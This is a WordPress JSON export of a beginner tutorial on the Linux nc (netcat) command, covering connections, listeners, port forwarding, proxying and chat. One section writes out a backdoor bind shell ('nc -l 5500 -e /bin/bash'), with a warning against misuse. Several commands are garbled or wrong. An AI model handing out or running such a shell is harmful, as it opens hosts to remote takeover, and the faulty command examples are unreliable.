{"id":8339,"date":"2019-01-19T00:59:51","date_gmt":"2019-01-19T00:59:51","guid":{"rendered":"https:\/\/www.appservgrid.com\/paw92\/?p=8339"},"modified":"2019-03-09T00:52:21","modified_gmt":"2019-03-09T00:52:21","slug":"nc-command-ncat-for-beginners","status":"publish","type":"post","link":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2019\/01\/19\/nc-command-ncat-for-beginners\/","title":{"rendered":"NC command (NCAT) for beginners"},"content":{"rendered":"<p>NC command is for performing maintenance\/diagnosis tasks related to network . It can perform operations like read,write or data redirections over the network, similar to how you can use cat command to manipulate files on Linux system. Nc command can be used as a utility to scan ports, monitoring or can also act as a basic TCP proxy.<\/p>\n<p>Organizations can utilize it to review their network security, web servers, telnet servers, mail servers and so on, by checking the ports that are opened and then secure them. NC command can also be used to capture information being sent by system.<\/p>\n<p><strong>Recommended Read :\u00a0<a href=\"https:\/\/linuxtechlab.com\/top-7-commands-for-linux-network-traffic-monitoring\/\">Top 7 commands for Linux Network Traffic Monitoring<\/a><\/strong><\/p>\n<p><strong>Also Read :<a href=\"https:\/\/linuxtechlab.com\/important-postgresql-commands\/\">\u00a0Important PostgreSQL commands you should know<\/a><\/strong><\/p>\n<p>Now let\u2019s discuss how we can use NC command with some examples,<\/p>\n<hr \/>\n<h2 class=\"fittexted_for_content_h2\">Examples for NC command<\/h2>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Connect to a remote server<\/h3>\n<p>Following example shows how we can connect to remote server with nc command,<\/p>\n<p><strong>$ nc 10.10.10.100 80<\/strong><\/p>\n<p>here, 10.10.10.100 is IP of the server we want to connect to &amp; 80 is the port number for the remote server. Once connected we can perform some other functions like we can get the total page content with<\/p>\n<p><strong>GET\/HTTP\/1.1<\/strong><\/p>\n<p>or fetch page name,<\/p>\n<p><strong>GET\/HTTP\/1.1<\/strong><\/p>\n<p>or we can get banner for OS fingerprinting with the following,<\/p>\n<p><strong>HEAD\/HTTP\/1.1<\/strong><\/p>\n<p>This will let us know what software &amp; version is being utilised to run the webserver.<\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Listen to inbound connection requests<\/h3>\n<p>To check a server for incoming connection request on a port number, use following example<\/p>\n<p><strong>$ nc -l 8080<\/strong><\/p>\n<p>Now NC is in listening mode to check port 8080 for incoming connection requests. Now listening mode will keep on running, until terminated manually. But we can address this option \u2018w\u2019 for NC,<\/p>\n<p><strong>$ nc -w 10 8080<\/strong><\/p>\n<p>here, 10 means NC will listen for connections for 10 seconds only.<\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Connecting to UDP ports<\/h3>\n<p>By default, we can connect to TCP ports with NC but to listen to incoming request made to UDP ports we have to use option \u2018u\u2019 ,<\/p>\n<p><strong>$ nc -l -u 55<\/strong><\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Using NC for Port forwarding<\/h3>\n<p>With option \u2018c\u2019 of NC, we can redirect a port to another. Complete example is,<\/p>\n<p><strong>$ nc -u -l 8080 -c \u2018 nc -u -l 8090\u2019<\/strong><\/p>\n<p>here, we have forwarded all incoming requests from port 8080 to port 8090.<\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\"><strong>Using NC as Proxy server<\/strong><\/h3>\n<p>To use NC command as a proxy, use<\/p>\n<p><strong>$ nc \u2013 l 8080 | nc 10.10.10.200 80<\/strong><\/p>\n<p>here, all incoming connections to port 8080 will be diverted to 10.10.10.200 server on port 80.<\/p>\n<p>Now with the above command, we only created a one way passage. To create a return passage or 2 way communication channel, use the following commands,<\/p>\n<p><strong>$ mkfifo 2way<\/strong><\/p>\n<p><strong>$ nc \u2013 l 8080 0&lt;2way | nc 10.10.10.200 80 1&gt;2way<\/strong><\/p>\n<p>Now you will have the capacity to send and get information over nc proxy.<\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Using NC as chat tool<\/h3>\n<p>Another utility that NC command can serve is as a chat tool. Yes we can also use it as a chat. To create it, first run the following command on one server,<\/p>\n<p><strong>$ nc \u2013 l 8080<\/strong><\/p>\n<p>Than to connect on remote machine, run<\/p>\n<p><strong>$ nc 10.10.10.100 8080<\/strong><\/p>\n<p>Now we can start conversation using the terminal\/CLI.<\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Using NC to create a system backdoor<\/h3>\n<p>Now this one is the most common application of NC &amp; is mostly used by hackers a lot. Basically this creates a backdoor to system which can be exploited by hackers (you should not be doing it, its wrong).<br \/>\nOne must be aware of this as to safeguard against this kind of exploits.<\/p>\n<p>Following command can be used to create a backdoor,<\/p>\n<p><strong>$ nc -l 5500 -e \/bin\/bash<\/strong><\/p>\n<p>here, we have attached port 5500 to \/bin\/bash, which can now be connected from a remote machine to execute the commands,<\/p>\n<p><strong>$ nc 10.10.10.100 5500<\/strong><\/p>\n<hr \/>\n<h3 class=\"fittexted_for_content_h3\">Force server to remain up<\/h3>\n<p>Server will stop listening for connection once a client connection has been terminated. But with option \u2018k\u2019, we can force a server to remain running, even when no client is connected.<\/p>\n<p><strong>$ nc -l -k 8080<\/strong><\/p>\n<hr \/>\n<p>We now end this tutorial on how to use NC command, please feel free to send in any questions or queries you have regarding this article.<\/p>\n<p><a href=\"http:\/\/lxer.com\/module\/newswire\/ext_link.php?rid=264968\" target=\"_blank\" rel=\"noopener\">Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>NC command is for performing maintenance\/diagnosis tasks related to network . It can perform operations like read,write or data redirections over the network, similar to how you can use cat command to manipulate files on Linux system. Nc command can be used as a utility to scan ports, monitoring or can also act as a &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.appservgrid.com\/paw92\/index.php\/2019\/01\/19\/nc-command-ncat-for-beginners\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;NC command (NCAT) for beginners&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-8339","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/8339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/comments?post=8339"}],"version-history":[{"count":2,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/8339\/revisions"}],"predecessor-version":[{"id":10820,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/8339\/revisions\/10820"}],"wp:attachment":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/media?parent=8339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/categories?post=8339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/tags?post=8339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}